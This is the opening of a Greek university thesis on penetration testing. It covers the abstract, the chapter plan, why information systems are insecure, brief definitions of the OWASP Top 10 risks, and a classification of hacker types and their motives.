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Περίληψη 

Η παρούσα εργασία έχει ως στόχο τη µελέτη των µεθόδων και των τεχνικών που χρησιµοποιούν οι 

επιτιθέµενοι για να εκµεταλλευτούν τις ευπάθειες ενός πληροφοριακού συστήµατος.  Αρχικά, µελετώνται 

τα χαρακτηριστικά των επιτιθέµενων και οι τύποι επιθέσεων που χρησιµοποιούν. Στη συνέχεια, 

αναλύεται η έννοια του Ελέγχου Τρωτότητας (Penetration Testing), οι απαιτούµενες φάσεις για τη σωστή 

υλοποίησή του και τα εργαλεία που χρησιµοποιούνται για την εκάστοτε φάση. Έπειτα, αναλύεται το 

εργαλείο Metasploit καθώς είναι αυτό που χρησιµοποιείται κυρίως στην εργασία για την 

πραγµατοποίηση των επιθέσεων. Συγκεκριµένα, αναλύεται η αρχιτεκτονική του, ο τρόπος λειτουργίας 

του και αναφέρονται συνοπτικά όλες οι εντολές του. Όσον αφορά το πρακτικό κοµµάτι της εργασίας, 

υλοποιούνται  επιθέσεις από την πλευρά του Penetration Testing. Συγκεκριµένα, χρησιµοποιείται το 

Backtrack, που είναι µια διανοµή linux και έχει ενσωµατωµένα πολλά εργαλεία συµπεριλαµβανοµένου 

του Metasploit, από την πλευρά πάντα του επιτιθέµενου. Από την πλευρά του θύµατος χρησιµοποιούνται 

διάφορα λειτουργικά συστήµατα ανάλογα µε το είδος των επιθέσεων. Για παράδειγµα, χρησιµοποιούνται 

τα WindowsXp SP2 για την υλοποίηση των DoS, SMB, VNC, Client-Side και Man-In-The-Middle 

επιθέσεων, το Metasploitable για επιθέσεις στις βάσεις των MySql και Postgres και το Damn Vulnerable 

Web Application για επιθέσεις εφαρµογών ιστού, όπως SQL Injection, Command Execution και XSS.  

Abstract 

This dissertation aims to study the methods and techniques used by attackers to exploit vulnerabilities of 

an information system. First, it examines the characteristics of hackers and the types of attacks they use. 

Then, it analyzes the concept of Penetration Testing, the steps needed for its proper implementation and 

tools used for each phase. Then, it is analyzed the tool Metasploit as it is mainly used for the 

implementation of the attacks. Specifically, its architecture is analyzed and all the commands are 

summarized. Furthermore, attacks on the part of Penetration Testing are studied. Specifically, Backtrack 

is used, which is a linux distribution and includes many tools such as Metasploit, always on the side of the 

hacker. From the perspective of the victim different operating systems are used, depending on the type of 

attacks. For example, WindowsXp SP2 for implementing DoS, SMB, VNC, Client-Side and Man-In-The-

Middle attacks, Metasploitable for attacks on MySql and Postgres databases and Damn Vulnerable Web 

Application for Web attacks such as SQL Injection, Command Execution and XSS, are used. 
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Εισαγωγή 
Η παρούσα πτυχιακή εργασία αποτελεί µια µελέτη για τον Έλεγχο Τρωτότητας (εφεξής Penetration 

Testing) δικτυοκεντρικών πληροφοριακών συστηµάτων για εκπαιδευτικούς σκοπούς στα πλαίσια της 

Αξιολόγησης Ασφάλειας. Μελετώνται θέµατα που σχετίζονται µε τα προβλήµατα ασφάλειας των 

σύγχρονων πληροφοριακών συστηµάτων και εξετάζονται εργαλεία τα οποία συµβάλλουν στον 

προσδιορισµό τους. Τα εργαλεία, των οποίων η λειτουργία και οι δυνατότητες αναλύονται στη συνέχεια, 

έχουν επιλεχθεί µε γνώµονα της καταλληλότητα τους για ένταξη σε ένα εκπαιδευτικό πρόγραµµα. Η 

εργασία είναι οργανωµένη σε κεφάλαια όπως περιγράφεται παρακάτω.  

Στο 1ο κεφάλαιο παρουσιάζεται η έννοια της Ασφάλειας Πληροφοριακών Συστηµάτων η οποία 

βρίσκεται σε αντιστοιχία µε τους κινδύνους που τα απειλούν. Στη συνέχεια, διερευνώνται τα αίτια που 

εκθέτουν σε κίνδυνο τα πληροφοριακά συστήµατα, ενώ τονίζεται η ανάγκη για την δηµιουργία πολιτικής 

ασφάλειας.  

Στο 2ο κεφάλαιο µελετάται το φαινόµενο του Hacking και των Hackers καθώς και οι τύποι 

επιθέσεων που πραγµατοποιούν. 

Στο 3ο κεφάλαιο αναλύεται η έννοια της Αξιολόγησης Ασφάλειας καθώς και του Ελέγχου 

Τρωτότητας (Penetration Testing) στα πλαίσια αυτής. Περιγράφονται τα στάδια τα οποία 

περιλαµβάνονται έτσι όπως έχουν καθοριστεί στα διεθνή πρότυπα και οι τύποι που υπάρχουν µε βάση 

την οπτική από την οποία αξιολογεί και επεµβαίνει στο σύστηµα ο penetration tester. 

Στο 4ο κεφάλαιο αναφέρονται τα εργαλεία που χρησιµοποιούνται για όλες τις φάσεις του 

Penetration Testing και αναλύονται αυτά, Metasploit και Nmap, που χρησιµοποιούνται κατά βάση για 

την επιτυχή υλοποίηση των επιθέσεων 

Στα επόµενα κεφάλαια παρουσιάζονται αναλυτικά οι επιθέσεις που πραγµατοποιήθηκαν, εξηγούνται οι 

εντολές που χρησιµοποιούνται κάθε φορά και παρατίθενται screenshots από την εκτέλεσή τους. 

 Στο τελευταίο κεφάλαιο, γίνεται µια ανασκόπηση της εργασίας και προτείνεται ως µια από τις 

καλύτερες λύσεις η εισαγωγή της Ασφάλειας ∆ικτύων στα εκπαιδευτικά ιδρύµατα. Σκοπός είναι να 

δηµιουργηθεί µια γενικότερη κουλτούρα ασφάλειας και να δοθούν στους νέους επαγγελµατίες τα κίνητρα 

και οι δυνατότητες να εντοπίζουν νέες ευπάθειες στα λειτουργικά συστήµατα και να αναπτύσσουν 

κατάλληλους τρόπους αντιµετώπισης. 
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Θεωρητικό Υπόβαθρο 

Πληροφοριακά Συστήµατα και Ασφάλεια 

Εισαγωγή 

Η σηµερινή εποχή χαρακτηρίζεται από την ιδιαίτερα µεγάλη ταχύτητα ανάπτυξης της τεχνολογίας και 

την ένταξη και καθιέρωση της χρήσης υπολογιστών και γενικά πληροφοριακών συστηµάτων σε όλους 

τους τοµείς της ανθρώπινης δραστηριότητας. Τα πλεονεκτήµατα που προκύπτουν από αυτήν την 

κατάσταση είναι εξίσου σηµαντικά µε  τους κινδύνους που προκύπτουν από εκούσιες ή ακούσιες 

ανθρώπινες ενέργειες, όπως για παράδειγµα, καταστροφές, αλλοιώσεις ή µη εξουσιοδοτηµένη χρήση 

δεδοµένων και γενικότερα υπολογιστικών πόρων.
[1] 

 

 Όσον αφορά, λοιπόν, την Ασφάλεια Πληροφοριακών Συστηµάτων αφορά οντότητες και 

αντικείµενα που αξίζει να προστατευθούν. Ό, τι αξίζει να προστατευθεί ονοµάζεται Αγαθό (Asset). Τα 

Αγαθά αξίζει να προστατευθούν επειδή έχουν Αξία (Value). Η Αξία τους µπορεί να µειωθεί αν υποστούν 

Ζηµιά. Τα Αγαθά χρειάζονται προστασία µόνον εάν υπάρχουν Κίνδυνοι (Dangers) που µπορεί να τους 

προκαλέσουν Ζηµιά (Harm). Ο Ιδιοκτήτης (Owner) ενός προστατευόµενου Αγαθού χρησιµοποιεί Μέσα 

Προστασίας (Safeguards) είτε για να µειώσει τον Κίνδυνο να προξενηθεί Ζηµιά στο Αγαθό, είτε για να 

µειώσει τις συνέπειές της.
[2] 

 

Γιατί δεν είναι ασφαλή  

Ένα πολύ κλασσικό και εύλογο ερώτηµα που δηµιουργείται στους περισσότερους ανθρώπους είναι γιατί 

οι υπολογιστές και τα συστήµατα δεν είναι τόσο ασφαλή όσο πρέπει.  Παρακάτω αναφέρονται τα βασικά 

προβλήµατα στα οποία οφείλεται η συντριπτική πλειοψηφία των περιστατικών πειρατείας που 

συµβαίνουν:  

Η ασφάλεια είναι µια ενόχληση: Από τη µια, οι δηµιουργοί και διαχειριστές λειτουργικών συστηµάτων 

συχνά  αποφεύγουν την προσθήκη χαρακτηριστικών ασφάλειας σε αυτά γιατί έχει ως συνέπεια τη 

δηµιουργία προβληµάτων στους χρήστες και από την άλλη, οι χρήστες παρακάµπτουν την ασφάλεια είτε 

διαλέγοντας εύκολα στη χρήση - και κατά συνέπεια εύκολα να εικαστούν – συνθηµατικά (π.χ. 123456), 

είτε δεν τα αλλάζουν ποτέ, είτε τα αποκαλύπτουν σε συνεργάτες τους, είτε τα αναγράφουν σε εµφανή 

σηµεία, είτε χρησιµοποιούν κοινούς λογαριασµούς χρηστών.  

 Οι κατασκευαστές λογισµικού διανέµουν τα προϊόντα τους έχοντας προ-ρυθµίσει τα 

χαρακτηριστικά που θα εγκατασταθούν, απενεργοποιώντας σχεδόν πάντα τα χαρακτηριστικά ασφάλειας. 

Αυτό συµβαίνει για να αποφεύγονται τα προβλήµατα στους τελικούς απλούς χρήστες οι οποίοι δεν 

διαθέτουν τις ικανότητες και τις γνώσεις να κατανοήσουν και να ρυθµίσουν σωστά τα χαρακτηριστικά 

ασφάλειας, γεγονός το οποίο συνεπάγεται η συντριπτική πλειοψηφία των εγκαταστάσεων λογισµικού να 

διαθέτει σοβαρά προβλήµατα ασφάλειας.  

 Το γεγονός ότι η ισχυρή ασφάλεια δεν είναι φιλική στο χρήστη και απαιτεί εξειδικευµένες 

γνώσεις από όλους όσους εµπλέκονται σε ένα πληροφοριακό σύστηµα είναι ο πιο συνηθισµένος λόγος 

για τον οποίο η ασφάλεια αποτυγχάνει. 

Προώθηση ανασφαλών χαρακτηριστικών λογισµικού στην αγορά. Οι κατασκευαστές λογισµικού 

επικεντρώνουν την προσπάθειά τους στην προσθήκη χαρακτηριστικών τα οποία θα κάνουν τα προϊόντα 

τους περισσότερο εύχρηστα και εµπορικά, δίνοντας λίγη σηµασία στην ασφάλειά.  

Οι δηµιουργοί που επενδύουν στην ασφάλεια υπολείπονται του ανταγωνισµού. Σύµφωνα µε τους 

νόµους της αγοράς, ένα νέο προϊόν καθιερώνεται στην κατηγορία του εάν καταφέρει να είναι το πρώτο 

που θα φτάσει προς πώληση στον καταναλωτή. Οι κατασκευαστές πληροφοριακών συστηµάτων οι 

οποίοι επενδύουν στην ασφάλεια των προϊόντων τους χάνουν αυτό το συγκριτικό πλεονέκτηµα από 

άλλους κατασκευαστές οι οποίοι δεν το κάνουν, δεδοµένου ότι η ανάπτυξη ασφαλών πληροφοριακών 

συστηµάτων είναι µια χρονοβόρα διαδικασία. Συνεπώς τα λιγότερο ασφαλή προϊόντα φτάνουν πρώτα 

στην αγορά και καθιερώνονται. 
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Οι υπολογιστές και το λογισµικό εξελίσσονται πολύ γρήγορα. Οι υπολογιστές και η τεχνολογία 

δικτύων εξελίσσονται µε µεγαλύτερους ρυθµούς από αυτούς που οι εταιρείες µπορούν να προβλέψουν τα 

πιθανά προβλήµατα που αυτά µπορούν να δηµιουργήσουν.  

Οι προγραµµατιστές δεν µπορούν να προβλέψουν µε ακρίβεια τις ευπάθειες. Οι προγραµµατιστές 

σπάνια θεωρούν ότι η κατάσταση των συναρτήσεών τους µπορεί να αλλάξει εξωτερικά από κάποια τιµή, 

ενώ εκτελείται ο κώδικάς τους, οπότε ελέγχουν µόνο για τιµές που στέλνουν αυτοί στις συναρτήσεις. 

Όταν ο κώδικας περάσει τους τυπικούς ελέγχους αποσφαλµάτωσης, διανέµεται χωρίς να ελεγχθεί µε 

διάφορα τυχαία δεδοµένα (fuzzing). Ακόµα και να προσπαθήσουν να προβλέψουν τα σφάλµατα, όµως, 

δεν θα µπορέσουν ποτέ να φανταστούν και να έρθουν αντιµέτωποι µε όλες τις πιθανές επιθέσεις που τα 

εκατοµµύρια εισβολέων θα προσπαθήσουν να κάνουν. 

Υπάρχει µικρή ποικιλοµορφία στην αγορά λογισµικού. Το δυοπώλιο των Windows και Unix 

λειτουργικών συστηµάτων έχουν περιορίσει τους στόχους των εισβολέων στις µικρές παραλλαγές αυτών 

των συστηµάτων, οπότε οι εισβολείς αρκεί να εντοπίσουν τις ευπάθειες αυτών και των εφαρµογών τους 

ώστε να έχουν πρόσβαση σε µεγάλο αριθµό πληροφοριακών συστηµάτων. 

Οι κατασκευαστές δεν παρακινούνται στο να αποκαλύψουν τα προβλήµατα των προϊόντων τους. 

Για να αποφύγουν προβλήµατα µε τους πελάτες τους, οι κατασκευαστές προσπαθούν να κρύψουν τα 

προβλήµατα των λειτουργικών συστηµάτων τους και έτσι αποθαρρύνουν τη συζήτηση γι’ αυτά, ενώ 

αντίθετα, οι εισβολείς κοινοποιούν τις ευπάθειες που ανακαλύπτουν. Αυτή η διαφορά σηµαίνει ότι τα 

προβλήµατα διαχέονται πολύ περισσότερο από τις λύσεις τους. 

Οι διορθώσεις δεν κοινοποιούνται ευρέως και µπορούν να προκαλέσουν προβλήµατα όταν 

εγκαθίστανται. Όταν ανακαλύπτονται προβλήµατα ασφάλειας σε κάποιο λογισµικό, ο κατασκευαστής 

διορθώνει το πρόβληµα, δηµοσιεύει τη διόρθωση στο Internet και στέλνει µια ειδοποίηση µέσω e-mail 

στους εγγεγραµµένους πελάτες του. ∆υστυχώς, όλοι οι πελάτες δεν παίρνουν ή δεν εγκαθιστούν τη 

διόρθωση – στην πραγµατικότητα, οι περισσότεροι χρήστες δεν εγκαθιστούν ποτέ διορθώσεις ασφάλειας 

για το λογισµικό µέχρι να δεχτούν κάποια επίθεση. Εκτός αυτού όµως, οι κατασκευαστές συχνά 

στέλνουν βιαστικές διορθώσεις στους πελάτες τους για πιθανά σφάλµατα τα οποία δεν έχουν επακριβώς 

προσδιοριστεί, µε αποτέλεσµα η εγκατάστασή τους να δηµιουργεί προβλήµατα στην οµαλή λειτουργία 

του συστήµατος. 
[5] 

 

OWASP: Ασφάλεια στις Web Εφαρµογές [3]  

Όσον αφορά το θέµα της ασφάλειας εφαρµογών ιστού, επικρατεί η άποψη ότι οι επιτήδειοι 

ανακαλύπτουν ευπάθειες πολύ πιο γρήγορα απ’ ότι οι προγραµµατιστές και οι ειδικοί στην ασφάλεια 

καταφέρνουν να τις αντιµετωπίσουν, και γι’ αυτό είναι ένα θέµα που συνήθως αντιµετωπίζεται µε πνεύµα 

υστερίας και πανικού από τους περισσότερους. Αυτό, πρώτον, συµβαίνει διότι η ασφάλεια δεν είναι θέµα 

των λίγων ειδικών αλλά όλων, συµπεριλαµβανοµένων αναλυτών, προγραµµατιστών, οργανισµών και 

απλών χρηστών ώστε ο καθένας να προφυλάσσεται από την πλευρά του.   Επιπλέον, η ασφάλεια δεν 

είναι κάτι µε το οποίο κάποιος ασχολείται µία φορά και θεωρεί ότι έχει πετύχει το σκοπό του. Ειδικά οι 

προγραµµατιστές,  πρέπει να ελέγχουν συνέχεια τις εφαρµογές τους καθώς αυτές που αναπτύσσονται για 

web περιβάλλον είναι συνέχεια εκτεθειµένες σε κάθε είδους επίθεση. Οι ευπάθειες λογισµικού 

µεταβάλλονται διαρκώς και ένας ασφαλής κώδικας του σήµερα µπορεί αύριο να κινδυνεύει από νέες 

επιθέσεις. 

 Το OWASP - Open Web Application Security Project -  είναι µια ανοικτή κοινότητα µε κύριο 

σκοπό την ενηµέρωση των οργανισµών σχετικά µε την ανάπτυξη και τη συντήρηση ασφαλών 

εφαρµογών. Το πρόβληµα των ασφαλών εφαρµογών αφορά ανθρώπους, διαδικασίες και τεχνολογία 

οπότε οι απαραίτητες βελτιώσεις για την επίλυση του πρέπει να γίνουν σε όλους τους τοµείς αντίστοιχα.  

 Το OWASP έχει δηµιουργήσει µια λίστα, τη λεγόµενη «OWASP Top10», µε τους δέκα πιο 

Κρίσιµους Κινδύνους Ασφάλειας Εφαρµογών ∆ιαδικτύου και σκοπό την ενηµέρωση των 

προγραµµατιστών ώστε να παράγουν πάντα ασφαλείς εφαρµογές. Η λίστα αυτή ανανεώνεται σε τακτά 

χρονικά διαστήµατα και υιοθετείται συχνά από οργανισµούς και εταιρείες που σχετίζονται µε 

ηλεκτρονικές συναλλαγές στο ∆ιαδίκτυο. Σύµφωνα, λοιπόν, µε αυτή τη λίστα, οι δέκα πιο σηµαντικοί 

κίνδυνοι από τους οποίους απειλούνται οι σηµερινές διαδικτυακές εφαρµογές είναι οι εξής: 

Injection: Μη έµπιστα δεδοµένα στέλνονται σε έναν µεταγλωττιστή και εκτελούνται ως νόµιµα. Για την 

αποστολή αυτή µπορεί να είναι υπεύθυνος τόσο ένας εξωτερικός χρήστης όσο και ένας διαχειριστής της 
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εφαρµογής. Η επίθεση αυτή µπορεί να καταλήξει σε καταστροφή, απώλεια, παραποίηση των δεδοµένων, 

ή και σε άρνηση πρόσβασης.  

Cross-Site-Scripting (XSS) : Μια τέτοια επίθεση συµβαίνει όταν µια εφαρµογή λαµβάνει µη-έγκυρα 

δεδοµένα και χωρίς να τα ελέγξει τα στέλνει σε έναν φυλλοµετρητή. Ο επιτιθέµενος εκτελεί κώδικα στον 

φυλλοµετρητή και έτσι έχει τη δυνατότητα να ανακατευθύνει ανύποπτους χρήστες σε κακόβουλες 

ιστοσελίδες, να καταστρέφει ιστοσελίδες κτλ. 

Broken Authentication and Session Management : Η ελλιπής προστασία ανοιχτών συνδέσεων και 

λειτουργιών εφαρµογών που σχετίζονται µε αυθεντικοποίηση χρηστών και στοιχεία λογαριασµών, δίνουν 

τη δυνατότητα στους επιτιθέµενους να αποκτούν κωδικούς και κλειδιά, µε τελικό στόχο να υιοθετήσουν 

την ταυτότητα άλλων χρηστών. 

Insecure Direct Object References : Η επίθεση αυτή συµβαίνει όταν ο προγραµµατιστής αφήνει 

εκτεθειµένη κάποια αναφορά ενός εσωτερικού αντικειµένου, όπως ένα αρχείο, έναν κατάλογο, µια 

εγγραφή σε βάση δεδοµένων ή κάποιο κλειδί όπως ένα URL. Ο επιτιθέµενος κάνοντας χρήση των 

παραπάνω µπορεί να αποκτήσει πρόσβαση σε άλλα µη εξουσιοδοτηµένα αντικείµενα και δεδοµένα. 

Cross-Site Request Forgery : Ο επιτιθέµενος εκµεταλλεύεται το φυλλοµετρητή του θύµατος και στέλνει 

κάποια πλαστά αιτήµατα, µαζί µε το cookie της συνόδου και κάθε άλλη πληροφορία, σε µια ευάλωτη 

εφαρµογή και ο φυλλοµετρητής µπορεί να προβεί σε ενέργειες που θεωρεί ότι είναι νόµιµες. 

Security Misconfiguration : Σε αυτήν την περίπτωση δίνεται σηµασία στις σωστές πρακτικές ασφάλειας 

και κρίνεται απαραίτητη η ενηµέρωση του ήδη υπάρχοντος λογισµικού και όλων των βιβλιοθηκών που 

χρησιµοποιούνται από µια εφαρµογή. 

Insecure Cryptographic Storage : Πολλές διαδικτυακές εφαρµογές δεν παρέχουν την κατάλληλη 

προστασία, για παράδειγµα κρυπτογραφικούς αλγόριθµους ή συναρτήσεις σύνοψης, σε ευαίσθητα 

δεδοµένα. Έτσι, ο επιτιθέµενος µπορεί να υποκλέψει τα δεδοµένα αυτά και να πραγµατοποιήσει 

επιθέσεις κλοπής ταυτότητας, απάτες µε πιστωτικές κάρτες κλπ. 

Failure to Restrict URL Access : Πολλές διαδικτυακές εφαρµογές ελέγχουν τα δικαιώµατα πρόσβασης 

ενός URL και προστατεύουν ευαίσθητες λειτουργίες τους πριν την αναπαραγωγή των διαφόρων 

συνδέσµων και κουµπιών. Ωστόσο, µια εφαρµογή πρέπει να πραγµατοποιεί ελέγχους πρόσβασης κάθε 

φορά που κάποιος επισκέπτεται τις σελίδες αυτές διαφορετικά ένας επιτιθέµενος µπορεί να αποκτήσει 

πρόσβαση σε κρυφές σελίδες. 

Insufficient Transport Layer Protection : Οι εφαρµογές συχνά αποτυγχάνουν στην επικύρωση, 

κρυπτογράφηση, καθώς και στην προστασία τη εµπιστευτικότητας και της ακεραιότητας των δικτυακών 

συναλλαγών, διότι χρησιµοποιούν αδύναµους αλγόριθµους, ανίσχυρα πιστοποιητικά ή δεν τα 

χρησιµοποιούν σωστά. 

Unvalidated Redirects and Forwards : Οι διαδικτυακές εφαρµογές πολλές φορές ανακατευθύνουν τους 

χρήστες σε άλλες σελίδες χρησιµοποιώντας µη - έγκυρα δεδοµένα. Χωρίς τον κατάλληλο έλεγχο ένας 

επιτιθέµενος µπορεί να ανακατευθύνει τα θύµατα του σε ιστοσελίδες phishing ή σε ιστοσελίδες που 

περιέχουν κακόβουλο λογισµικό. 

Αναγκαιότητα και Σκοπιµότητα Ασφάλειας 

Η αξία της λήψης µέτρων ασφάλειας σε ένα υπολογιστικό σύστηµα είναι αδιαµφισβήτητη παρά το 

γεγονός ότι επιβαρύνει µια επιχείρηση στο κόστος λειτουργίας της και το ίδιο το σύστηµα στην απόδοσή 

του χρονικά. Συνεπώς, φαινοµενικά η σχέση που συνδέει την ασφάλεια µε την αποδοτικότητα ενός 

συστήµατος είναι αντιστρόφως ανάλογη.  

 Η πολιτική ασφάλειας που θεωρείται ότι ικανοποιεί τις απαιτήσεις της κάθε επιχείρησης ή 

οργανισµού πρέπει να επιλέγεται «ζυγίζοντας» το κόστος των µέτρων ασφάλειας µε το αντίστοιχο 

κόστος των επιβαρύνσεων που µπορούν να προκληθούν στον οργανισµό χωρίς την ύπαρξη των µέτρων 

αυτών.  ∆εδοµένο θεωρείται, επίσης, ότι η ασφάλεια χαρακτηρίζεται από δυναµικότητα καθώς η 

τεχνολογία, η πολυπλοκότητα των πληροφοριακών συστηµάτων και η συνεχής εξέλιξη των επιτιθέµενων 

απαιτούν συνεχώς τη λήψη νέων, βελτιωµένων µέτρων. 
[2] 

 

 Όπως συµπεραίνουµε από τα παραπάνω, τα δίκτυα δεν µπορούν να κατηγοριοποιηθούν απόλυτα 

ως ασφαλή ή µη ασφαλή. Κάθε οργανισµός επιλέγει τα στοιχεία του που θέλει να προστατεύσει αλλά δεν 

ορίζει τον τρόπο µε το οποίο αυτό θα επιτευχθεί.  Για παράδειγµα, ορισµένοι οργανισµοί ασφαλίζουν 

δεδοµένα τα οποία θεωρούν σηµαντικά µην επιτρέποντας την πρόσβαση σε εξωτερικούς χρήστες. Άλλοι 

επιθυµούν οι εξωτερικοί χρήστες να έχουν πρόσβαση στα δεδοµένα τους, αλλά όχι τη δυνατότητα 
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τροποποίησής τους. Άλλοι, πάλι, εστιάζουν την προσοχή τους στο να διατηρούν τις επικοινωνίες τους 

εµπιστευτικές. Τέλος, συνήθως µεγάλοι οργανισµοί απαιτούν ένα σύνθετο σύστηµα που επιτρέπει την 

πρόσβαση σε επιλεγµένα δεδοµένα ενώ εµποδίζει την πρόσβαση ή την τροποποίηση άλλων ευαίσθητων 

δεδοµένων.   

 Σύµφωνα µε τα παραδείγµατα που αναφέρθηκαν παραπάνω ένας οργανισµός πρέπει να εξετάσει 

τα παρακάτω στοιχεία ώστε να επιλέξει την καλύτερη γι’ αυτόν πολιτική ασφάλειας : 

• Ακεραιότητα των δεδοµένων (Data Integrity). Ακεραιότητα σηµαίνει ότι η τροποποίηση, η 

διαγραφή και η δηµιουργία νέων δεδοµένων επιτρέπεται µόνο από εξουσιοδοτηµένη πηγή.  

• ∆ιαθεσιµότητα των δεδοµένων(Data Availability). ∆ιαθεσιµότητα είναι η δυνατότητα ενός 

εξουσιοδοτηµένου χρήστη να έχει συνεχώς πρόσβαση στα δεδοµένα και στις υπηρεσίες ενός 

πληροφοριακού συστήµατος.  

• Εµπιστευτικότητα των δεδοµένων (Data Confidentiality). Εµπιστευτικότητα σηµαίνει διαφύλαξη 

από µη εξουσιοδοτηµένη αποκάλυψη πληροφοριών, αλλά πολλές φορές και από την αποκάλυψη 

της ύπαρξης των πληροφοριών αυτών. 

  Άλλες εκφάνσεις της εµπιστευτικότητας είναι: 

- η Ιδιωτικότητα (Privacy), που σηµαίνει την προστασία των δεδοµένων προσωπικού 

χαρακτήρα και 

- η Μυστικότητα (Secrecy), που σηµαίνει την προστασία των δεδοµένων που ανήκουν σε 

έναν οργανισµό. 
[2]

 

 Hacking 

Ορισµός 

Ο όρος hacking για τους περισσότερους σήµερα ταυτίζεται µε κακόβουλες επιθέσεις κάποιων επιτήδειων 

οι οποίοι έχουν ως απώτερο στόχο είτε να καταστρέψουν δίκτυα υπολογιστών, είτε να διασπείρουν ιούς, 

είτε να σπάσουν µυστικούς κωδικούς κλπ. Αρχικά, όµως προσδιόριζε την εξερεύνηση των δυνατοτήτων 

άλλων υπολογιστών από χρήστες που είχαν πάθος να διευρύνουν και να διασπείρουν τις γνώσεις τους 

πάνω σε θέµατα ασφάλειας υπολογιστικών συστηµάτων και δικτύων.  

 Ένας ευρύτερος ορισµός του Hacking είναι η προσπάθεια προσπέλασης ενός υπολογιστικού 

συστήµατος και δικτύου χωρίς εξουσιοδότηση, όπου ο σκοπός µπορεί να ποικίλει από τον έλεγχο της 

ασφάλειας ενός πληροφοριακού συστήµατος και την αντιµετώπιση των κενών ασφάλειας τα οποία 

εντοπίζονται, µέχρι την κλοπή και αλλοίωση δεδοµένων και την πολιτική ή κοινωνική ηλεκτρονική 

διαµαρτυρία, κυρίως σε περιόδους διεθνών κρίσεων. 
[4]

  

Hackers [5]  

Με τον όρο hacker χαρακτηρίζεται το άτοµο που κατέχει σε µεγάλο βαθµό το θέµα των υπολογιστών και 

του προγραµµατισµού και µπορεί να εντοπίζει ευπάθειες σε υπολογιστικά συστήµατα και δίκτυα. Μετά 

τον εντοπισµό των αδυναµιών, ενηµερώνονται οι υπεύθυνοι του συστήµατος για να διορθώσουν το 

πρόβληµα και να βελτιώσουν την εφαρµογή. Από την άλλη πλευρά, υπάρχει και η έννοια του cracker η 

οποία δε χρησιµοποιείται συχνά, ταυτίζεται µε αυτή του hacker αλλά έχει διαφορετική ερµηνεία. Cracker 

είναι το άτοµο που χρησιµοποιεί τις διαδικασίες του hacking αλλά µε επιθετικές διαθέσεις. Γενικά, οι 

hackers χωρίζονται στις παρακάτω κατηγορίες ανάλογα µε το στόχο που έχουν: 

Ειδικοί Ασφάλειας (Security Experts): Είναι άτοµα που έχουν την τεχνογνωσία που απαιτεί το hacking 

αλλά δεν το κάνουν για ηθικούς ή οικονοµικούς λόγους. Συνήθως εργάζονται σε εταιρείες οι οποίες 

πραγµατοποιούν ελέγχους ασφάλειας για λογαριασµό πελατών τους, παρακολουθούν τις τεχνικές των 

Hackers, είναι αυτοί που ανακαλύπτουν νέες τεχνικές εισβολής και συχνά αναπτύσσουν λογισµικό για 

την ενίσχυση της ασφάλειας των πληροφοριακών συστηµάτων.  

Script Kiddies: Οι script kiddies είναι συνήθως σπουδαστές σε κάποια βαθµίδα της εκπαίδευσης, οι 

οποίοι χρησιµοποιούν τους υπολογιστικούς πόρους του ιδρύµατος που φοιτούν και εξαπολύουν επιθέσεις 

µε σκοπό κυρίως να εντυπωσιάσουν τους φίλους τους, χωρίς φυσικά να συλληφθούν. ∆εν έχουν στόχο να 

βλάψουν κάποιον, άλλωστε δεν έχουν και τις γνώσεις γι’ αυτό, και το κίνητρο των εισβολών τους είναι 
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κατά βάση η διασκέδαση. Μια από τις κύριες δραστηριότητές τους είναι η ελεύθερη διανοµή υλικού, 

κυρίως µουσικής και ταινιών και η ανταλλαγή σειριακών αριθµών (serial numbers) για να αποκτήσουν 

την πλήρη λειτουργικότητα ενός λογισµικού που έχουν κατεβάσει από το Internet. Η δράση τους γίνεται 

εύκολα αντιληπτή είτε µέσω ενός λογισµικού ανίχνευσης εισβολών είτε από ένα firewall που καταγράφει 

τις επιθέσεις. 

Υποαπασχολούµενοι Ενήλικες (Underemployed Adult Hackers): Οι υποαπασχολούµενοι ενήλικες 

είναι πρώην Script Kiddies, οι οποίοι είτε εκδιώχθηκαν από τη σχολή τους, είτε δεν κατάφεραν να βρουν 

µια εργασία πλήρους απασχόλησης. Οι ενέργειές τους σχετίζονται µε τη δηµιουργία λογισµικού για το 

ξεκλείδωµα εµπορικών εφαρµογών και τη συγγραφή ιοµορφικού λογισµικού, ενώ τα εργαλεία που 

κατασκευάζουν συχνά χρησιµοποιούνται από τους Script Kiddies. Οι επιθέσεις τους αποσκοπούν στην 

απόκτηση φήµης µεταξύ των οµοίων τους, στον εντυπωσιασµό, στην απόσπαση πληροφοριών και στην 

κοινοποίηση της αντίδρασής τους σε κυβερνητικούς και επιχειρηµατικούς φορείς.  

Hackers από Ιδεολογία (Ideological Hackers): Είναι άτοµα που εξαπολύουν επιθέσεις αποσκοπώντας 

στην προβολή και προώθηση κάποιας πολιτικής ιδεολογίας. Όταν υπάρχουν εθνικιστικά, πολιτικά ή 

περιβαλλοντικά θέµατα, τόσο σε τοπικό όσο και σε παγκόσµιο επίπεδο, παρατηρείται µια έξαρση τέτοιου 

είδους επιθέσεων. Οι επιθέσεις τους σχετίζονται µε την αλλοίωση του περιεχοµένου ιστοσελίδων (Site 

Deface) ή επιθέσεις άρνησης παροχής υπηρεσίας (Denial Of Service – DoS) εναντίον των ιδεολογικών 

τους αντιπάλων. Για να επιτύχουν τους σκοπούς τους επιδιώκουν την προβολή των επιθέσεών τους από 

τα Μέσα Μαζικής Ενηµέρωσης. 

Εγκληµατίες Εισβολείς (Criminal Hackers - Crackers): Τα κίνητρα επιθέσεων αυτής της οµάδας 

Hacker είναι η απόκτηση κέρδους. Παροµοιάζονται µε τους κοινούς εγκληµατίες και συχνά, υπό την 

απειλή επίθεσης άρνησης υπηρεσίας, αποσπούν οικονοµικά οφέλη από επιχειρήσεις οι οποίες 

δραστηριοποιούνται στο χώρο του Internet.  

Εταιρικοί Κατάσκοποι (Corporate Spies):  Είναι µια πιο σπάνια κατηγορία Hacker, οι οποίοι 

πληρώνονται αδρά από επιχειρήσεις ή και κυβερνήσεις, µε σκοπό να εισβάλουν σε ανταγωνιστικά 

πληροφοριακά συστήµατα και να αποσπάσουν πληροφορίες, η κατοχή των οποίων µπορεί να προσφέρει 

συγκριτικό πλεονέκτηµα.  

∆υσαρεστηµένοι Υπάλληλοι: Οι υπάλληλοι, οι οποίοι είναι δυσαρεστηµένοι από την συµπεριφορά της 

διοίκησης απέναντί τους, έχουν το κίνητρο και τις ευκαιρίες να αποσπάσουν πληροφορίες που 

σχετίζονται µε την ασφάλεια των πληροφοριακών συστηµάτων του οργανισµού στον οποίο εργάζονται 

και να εισβάλουν σε αυτό προκαλώντας καταστροφές. Οι επιθέσεις αυτού του τύπου δεν µπορούν να 

ανιχνευθούν πριν προκληθούν. 

